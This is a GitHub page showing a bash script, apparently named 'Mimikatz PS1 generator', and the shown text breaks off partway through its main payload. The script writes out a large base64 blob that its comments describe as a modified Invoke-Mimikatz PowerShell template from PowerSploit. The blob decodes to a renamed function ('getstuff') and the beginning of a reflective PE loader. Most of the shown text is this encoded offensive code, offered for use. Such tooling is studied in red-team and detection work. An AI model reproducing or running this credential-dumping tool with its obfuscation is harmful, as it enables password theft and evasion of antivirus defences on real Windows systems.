-
Notifications
You must be signed in to change notification settings - Fork 4
/
Mimigenerator-ps.sh
executable file
·2038 lines (2033 loc) · 151 KB
/
Mimigenerator-ps.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
############################################################################
# ("`-''-/").___..--''"`-. #
# `6_ 6 ) `-. ( ).`-.__.`) Mimikatz PS1 generator #
# (_Y_.)' ._ ) `._ `. ``-..-' #
# _..`--'_..-_/ /--'_.' ,' #
#(il),-'' (li),' ((!.-' #
###########################################################################
#!/bin/bash
##########################################################################################################
# Here is the base64 encoded modified powershell template from PowershellMafia #
# https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 #
# Part 01 #
##########################################################################################################
cat << EOF > file01
ZnVuY3Rpb24gZ2V0c3R1ZmYKewoKCltDbWRsZXRCaW5kaW5nKERlZmF1bHRQYXJhbWV0ZXJTZXRO
YW1lPSJnZXRzdHVmZiIpXQpQYXJhbSgKCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwKV0KCVtTdHJp
bmdbXV0KCSRDb21wdXRlck5hbWUsCiAKCiAgICBbUGFyYW1ldGVyKFBhcmFtZXRlclNldE5hbWUg
PSAiZ2V0c3R1ZmYiLCBQb3NpdGlvbiA9IDEpXQogICAgW1N0cmluZ10KICAgICRDb21tYW5kCiAK
CikKClNldC1TdHJpY3RNb2RlIC1WZXJzaW9uIDIKCgokUmVtb3RlU2NyaXB0QmxvY2sgPSB7Cglb
Q21kbGV0QmluZGluZygpXQoJUGFyYW0oCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDAsIE1hbmRh
dG9yeSA9ICR0cnVlKV0KCQlbU3RyaW5nXQoJCSRQRUJ5dGVzNjQsCgogICAgICAgIFtQYXJhbWV0
ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1N0cmluZ10KCQkkUEVCeXRl
czMyLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAyLCBNYW5kYXRvcnkgPSAkZmFsc2UpXQoJ
CVtTdHJpbmddCgkJJEZ1bmNSZXR1cm5UeXBlLAoJCQkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9
IDMsIE1hbmRhdG9yeSA9ICRmYWxzZSldCgkJW0ludDMyXQoJCSRQcm9jSWQsCgkJCgkJW1BhcmFt
ZXRlcihQb3NpdGlvbiA9IDQsIE1hbmRhdG9yeSA9ICRmYWxzZSldCgkJW1N0cmluZ10KCQkkUHJv
Y05hbWUsCgogICAgICAgIFtQYXJhbWV0ZXIoUG9zaXRpb24gPSA1LCBNYW5kYXRvcnkgPSAkZmFs
c2UpXQogICAgICAgIFtTdHJpbmddCiAgICAgICAgJEV4ZUFyZ3MKCSkKCQoKCgoJRnVuY3Rpb24g
R2V0LVdpbjMyVHlwZXMKCXsKCQkkV2luMzJUeXBlcyA9IE5ldy1PYmplY3QgU3lzdGVtLk9iamVj
dAoKCgoJCSREb21haW4gPSBbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbgoJCSREeW5hbWljQXNz
ZW1ibHkgPSBOZXctT2JqZWN0IFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZSgnRHluYW1p
Y0Fzc2VtYmx5JykKCQkkQXNzZW1ibHlCdWlsZGVyID0gJERvbWFpbi5EZWZpbmVEeW5hbWljQXNz
ZW1ibHkoJER5bmFtaWNBc3NlbWJseSwgW1N5c3RlbS5SZWZsZWN0aW9uLkVtaXQuQXNzZW1ibHlC
dWlsZGVyQWNjZXNzXTo6UnVuKQoJCSRNb2R1bGVCdWlsZGVyID0gJEFzc2VtYmx5QnVpbGRlci5E
ZWZpbmVEeW5hbWljTW9kdWxlKCdEeW5hbWljTW9kdWxlJywgJGZhbHNlKQoJCSRDb25zdHJ1Y3Rv
ckluZm8gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxBc0F0dHJpYnV0
ZV0uR2V0Q29uc3RydWN0b3JzKClbMF0KCgoKCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxk
ZXIuRGVmaW5lRW51bSgnTWFjaGluZVR5cGUnLCAnUHVibGljJywgW1VJbnQxNl0pCgkJJFR5cGVC
dWlsZGVyLkRlZmluZUxpdGVyYWwoJ05hdGl2ZScsIFtVSW50MTZdIDApIHwgT3V0LU51bGwKCQkk
VHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSTM4NicsIFtVSW50MTZdIDB4MDE0YykgfCBPdXQt
TnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdJdGFuaXVtJywgW1VJbnQxNl0gMHgw
MjAwKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ3g2NCcsIFtVSW50
MTZdIDB4ODY2NCkgfCBPdXQtTnVsbAoJCSRNYWNoaW5lVHlwZSA9ICRUeXBlQnVpbGRlci5DcmVh
dGVUeXBlKCkKCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3Bl
cnR5IC1OYW1lIE1hY2hpbmVUeXBlIC1WYWx1ZSAkTWFjaGluZVR5cGUKCgoJCSRUeXBlQnVpbGRl
ciA9ICRNb2R1bGVCdWlsZGVyLkRlZmluZUVudW0oJ01hZ2ljVHlwZScsICdQdWJsaWMnLCBbVUlu
dDE2XSkKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfTlRfT1BUSU9OQUxfSERS
MzJfTUFHSUMnLCBbVUludDE2XSAweDEwYikgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZp
bmVMaXRlcmFsKCdJTUFHRV9OVF9PUFRJT05BTF9IRFI2NF9NQUdJQycsIFtVSW50MTZdIDB4MjBi
KSB8IE91dC1OdWxsCgkJJE1hZ2ljVHlwZSA9ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkKCQkk
V2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIE1h
Z2ljVHlwZSAtVmFsdWUgJE1hZ2ljVHlwZQoKCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxk
ZXIuRGVmaW5lRW51bSgnU3ViU3lzdGVtVHlwZScsICdQdWJsaWMnLCBbVUludDE2XSkKCQkkVHlw
ZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfU1VCU1lTVEVNX1VOS05PV04nLCBbVUludDE2
XSAwKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ0lNQUdFX1NVQlNZ
U1RFTV9OQVRJVkUnLCBbVUludDE2XSAxKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmlu
ZUxpdGVyYWwoJ0lNQUdFX1NVQlNZU1RFTV9XSU5ET1dTX0dVSScsIFtVSW50MTZdIDIpIHwgT3V0
LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfU1VCU1lTVEVNX1dJTkRP
V1NfQ1VJJywgW1VJbnQxNl0gMykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRl
cmFsKCdJTUFHRV9TVUJTWVNURU1fUE9TSVhfQ1VJJywgW1VJbnQxNl0gNykgfCBPdXQtTnVsbAoJ
CSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdJTUFHRV9TVUJTWVNURU1fV0lORE9XU19DRV9H
VUknLCBbVUludDE2XSA5KSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwo
J0lNQUdFX1NVQlNZU1RFTV9FRklfQVBQTElDQVRJT04nLCBbVUludDE2XSAxMCkgfCBPdXQtTnVs
bAoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdJTUFHRV9TVUJTWVNURU1fRUZJX0JPT1Rf
U0VSVklDRV9EUklWRVInLCBbVUludDE2XSAxMSkgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5E
ZWZpbmVMaXRlcmFsKCdJTUFHRV9TVUJTWVNURU1fRUZJX1JVTlRJTUVfRFJJVkVSJywgW1VJbnQx
Nl0gMTIpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfU1VC
U1lTVEVNX0VGSV9ST00nLCBbVUludDE2XSAxMykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5E
ZWZpbmVMaXRlcmFsKCdJTUFHRV9TVUJTWVNURU1fWEJPWCcsIFtVSW50MTZdIDE0KSB8IE91dC1O
dWxsCgkJJFN1YlN5c3RlbVR5cGUgPSAkVHlwZUJ1aWxkZXIuQ3JlYXRlVHlwZSgpCgkJJFdpbjMy
VHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBTdWJTeXN0
ZW1UeXBlIC1WYWx1ZSAkU3ViU3lzdGVtVHlwZQoKCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1
aWxkZXIuRGVmaW5lRW51bSgnRGxsQ2hhcmFjdGVyaXN0aWNzVHlwZScsICdQdWJsaWMnLCBbVUlu
dDE2XSkKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnUkVTXzAnLCBbVUludDE2XSAweDAw
MDEpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnUkVTXzEnLCBbVUlu
dDE2XSAweDAwMDIpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnUkVT
XzInLCBbVUludDE2XSAweDAwMDQpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0
ZXJhbCgnUkVTXzMnLCBbVUludDE2XSAweDAwMDgpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIu
RGVmaW5lTGl0ZXJhbCgnSU1BR0VfRExMX0NIQVJBQ1RFUklTVElDU19EWU5BTUlDX0JBU0UnLCBb
VUludDE2XSAweDAwNDApIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgn
SU1BR0VfRExMX0NIQVJBQ1RFUklTVElDU19GT1JDRV9JTlRFR1JJVFknLCBbVUludDE2XSAweDAw
ODApIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfRExMX0NI
QVJBQ1RFUklTVElDU19OWF9DT01QQVQnLCBbVUludDE2XSAweDAxMDApIHwgT3V0LU51bGwKCQkk
VHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfRExMQ0hBUkFDVEVSSVNUSUNTX05PX0lT
T0xBVElPTicsIFtVSW50MTZdIDB4MDIwMCkgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZp
bmVMaXRlcmFsKCdJTUFHRV9ETExDSEFSQUNURVJJU1RJQ1NfTk9fU0VIJywgW1VJbnQxNl0gMHgw
NDAwKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ0lNQUdFX0RMTENI
QVJBQ1RFUklTVElDU19OT19CSU5EJywgW1VJbnQxNl0gMHgwODAwKSB8IE91dC1OdWxsCgkJJFR5
cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ1JFU180JywgW1VJbnQxNl0gMHgxMDAwKSB8IE91dC1O
dWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ0lNQUdFX0RMTENIQVJBQ1RFUklTVElD
U19XRE1fRFJJVkVSJywgW1VJbnQxNl0gMHgyMDAwKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVy
LkRlZmluZUxpdGVyYWwoJ0lNQUdFX0RMTENIQVJBQ1RFUklTVElDU19URVJNSU5BTF9TRVJWRVJf
QVdBUkUnLCBbVUludDE2XSAweDgwMDApIHwgT3V0LU51bGwKCQkkRGxsQ2hhcmFjdGVyaXN0aWNz
VHlwZSA9ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkKCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1i
ZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIERsbENoYXJhY3RlcmlzdGljc1R5cGUg
LVZhbHVlICREbGxDaGFyYWN0ZXJpc3RpY3NUeXBlCgoKCgkJJEF0dHJpYnV0ZXMgPSAnQXV0b0xh
eW91dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGljLCBFeHBsaWNpdExheW91dCwgU2VhbGVkLCBC
ZWZvcmVGaWVsZEluaXQnCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lVHlw
ZSgnSU1BR0VfREFUQV9ESVJFQ1RPUlknLCAkQXR0cmlidXRlcywgW1N5c3RlbS5WYWx1ZVR5cGVd
LCA4KQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1ZpcnR1YWxBZGRyZXNzJywgW1VJbnQz
Ml0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDApIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRl
ZmluZUZpZWxkKCdTaXplJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDQpIHwgT3V0
LU51bGwKCQkkSU1BR0VfREFUQV9ESVJFQ1RPUlkgPSAkVHlwZUJ1aWxkZXIuQ3JlYXRlVHlwZSgp
CgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFt
ZSBJTUFHRV9EQVRBX0RJUkVDVE9SWSAtVmFsdWUgJElNQUdFX0RBVEFfRElSRUNUT1JZCgoKCQkk
QXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJsaWMsIFNlcXVl
bnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0JwoJCSRUeXBlQnVpbGRlciA9ICRN
b2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0lNQUdFX0ZJTEVfSEVBREVSJywgJEF0dHJpYnV0ZXMs
IFtTeXN0ZW0uVmFsdWVUeXBlXSwgMjApCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdNYWNo
aW5lJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmlu
ZUZpZWxkKCdOdW1iZXJPZlNlY3Rpb25zJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxs
CgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdUaW1lRGF0ZVN0YW1wJywgW1VJbnQzMl0sICdQ
dWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdQb2ludGVyVG9T
eW1ib2xUYWJsZScsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRl
ci5EZWZpbmVGaWVsZCgnTnVtYmVyT2ZTeW1ib2xzJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91
dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZPcHRpb25hbEhlYWRlcics
IFtVSW50MTZdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVs
ZCgnQ2hhcmFjdGVyaXN0aWNzJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJElN
QUdFX0ZJTEVfSEVBREVSID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQoJCSRXaW4zMlR5cGVz
IHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfRklMRV9I
RUFERVIgLVZhbHVlICRJTUFHRV9GSUxFX0hFQURFUgoKCgkJJEF0dHJpYnV0ZXMgPSAnQXV0b0xh
eW91dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGljLCBFeHBsaWNpdExheW91dCwgU2VhbGVkLCBC
ZWZvcmVGaWVsZEluaXQnCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lVHlw
ZSgnSU1BR0VfT1BUSU9OQUxfSEVBREVSNjQnLCAkQXR0cmlidXRlcywgW1N5c3RlbS5WYWx1ZVR5
cGVdLCAyNDApCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWFnaWMnLCAkTWFnaWNUeXBl
LCAnUHVibGljJykpLlNldE9mZnNldCgwKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZp
bmVGaWVsZCgnTWFqb3JMaW5rZXJWZXJzaW9uJywgW0J5dGVdLCAnUHVibGljJykpLlNldE9mZnNl
dCgyKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWlub3JMaW5rZXJW
ZXJzaW9uJywgW0J5dGVdLCAnUHVibGljJykpLlNldE9mZnNldCgzKSB8IE91dC1OdWxsCgkJKCRU
eXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mQ29kZScsIFtVSW50MzJdLCAnUHVibGljJykp
LlNldE9mZnNldCg0KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6
ZU9mSW5pdGlhbGl6ZWREYXRhJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDgpIHwg
T3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZVbmluaXRpYWxpemVk
RGF0YScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCgxMikgfCBPdXQtTnVsbAoJCSgk
VHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0FkZHJlc3NPZkVudHJ5UG9pbnQnLCBbVUludDMyXSwg
J1B1YmxpYycpKS5TZXRPZmZzZXQoMTYpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmlu
ZUZpZWxkKCdCYXNlT2ZDb2RlJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDIwKSB8
IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnSW1hZ2VCYXNlJywgW1VJbnQ2
NF0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDI0KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5E
ZWZpbmVGaWVsZCgnU2VjdGlvbkFsaWdubWVudCcsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9m
ZnNldCgzMikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0ZpbGVBbGln
bm1lbnQnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMzYpIHwgT3V0LU51bGwKCQko
JFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdNYWpvck9wZXJhdGluZ1N5c3RlbVZlcnNpb24nLCBb
VUludDE2XSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNDApIHwgT3V0LU51bGwKCQkoJFR5cGVCdWls
ZGVyLkRlZmluZUZpZWxkKCdNaW5vck9wZXJhdGluZ1N5c3RlbVZlcnNpb24nLCBbVUludDE2XSwg
J1B1YmxpYycpKS5TZXRPZmZzZXQoNDIpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmlu
ZUZpZWxkKCdNYWpvckltYWdlVmVyc2lvbicsIFtVSW50MTZdLCAnUHVibGljJykpLlNldE9mZnNl
dCg0NCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01pbm9ySW1hZ2VW
ZXJzaW9uJywgW1VJbnQxNl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDQ2KSB8IE91dC1OdWxsCgkJ
KCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWFqb3JTdWJzeXN0ZW1WZXJzaW9uJywgW1VJbnQx
Nl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDQ4KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5E
ZWZpbmVGaWVsZCgnTWlub3JTdWJzeXN0ZW1WZXJzaW9uJywgW1VJbnQxNl0sICdQdWJsaWMnKSku
U2V0T2Zmc2V0KDUwKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnV2lu
MzJWZXJzaW9uVmFsdWUnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNTIpIHwgT3V0
LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZJbWFnZScsIFtVSW50MzJd
LCAnUHVibGljJykpLlNldE9mZnNldCg1NikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVm
aW5lRmllbGQoJ1NpemVPZkhlYWRlcnMnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQo
NjApIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdDaGVja1N1bScsIFtV
SW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg2NCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxk
ZXIuRGVmaW5lRmllbGQoJ1N1YnN5c3RlbScsICRTdWJTeXN0ZW1UeXBlLCAnUHVibGljJykpLlNl
dE9mZnNldCg2OCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0RsbENo
YXJhY3RlcmlzdGljcycsICREbGxDaGFyYWN0ZXJpc3RpY3NUeXBlLCAnUHVibGljJykpLlNldE9m
ZnNldCg3MCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZlN0
YWNrUmVzZXJ2ZScsIFtVSW50NjRdLCAnUHVibGljJykpLlNldE9mZnNldCg3MikgfCBPdXQtTnVs
bAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZlN0YWNrQ29tbWl0JywgW1VJbnQ2
NF0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDgwKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5E
ZWZpbmVGaWVsZCgnU2l6ZU9mSGVhcFJlc2VydmUnLCBbVUludDY0XSwgJ1B1YmxpYycpKS5TZXRP
ZmZzZXQoODgpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZI
ZWFwQ29tbWl0JywgW1VJbnQ2NF0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDk2KSB8IE91dC1OdWxs
CgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTG9hZGVyRmxhZ3MnLCBbVUludDMyXSwgJ1B1
YmxpYycpKS5TZXRPZmZzZXQoMTA0KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVG
aWVsZCgnTnVtYmVyT2ZSdmFBbmRTaXplcycsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNl
dCgxMDgpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdFeHBvcnRUYWJs
ZScsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTEyKSB8IE91
dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnSW1wb3J0VGFibGUnLCAkSU1BR0Vf
REFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEyMCkgfCBPdXQtTnVsbAoJCSgk
VHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1Jlc291cmNlVGFibGUnLCAkSU1BR0VfREFUQV9ESVJF
Q1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEyOCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxk
ZXIuRGVmaW5lRmllbGQoJ0V4Y2VwdGlvblRhYmxlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAn
UHVibGljJykpLlNldE9mZnNldCgxMzYpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmlu
ZUZpZWxkKCdDZXJ0aWZpY2F0ZVRhYmxlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGlj
JykpLlNldE9mZnNldCgxNDQpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxk
KCdCYXNlUmVsb2NhdGlvblRhYmxlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykp
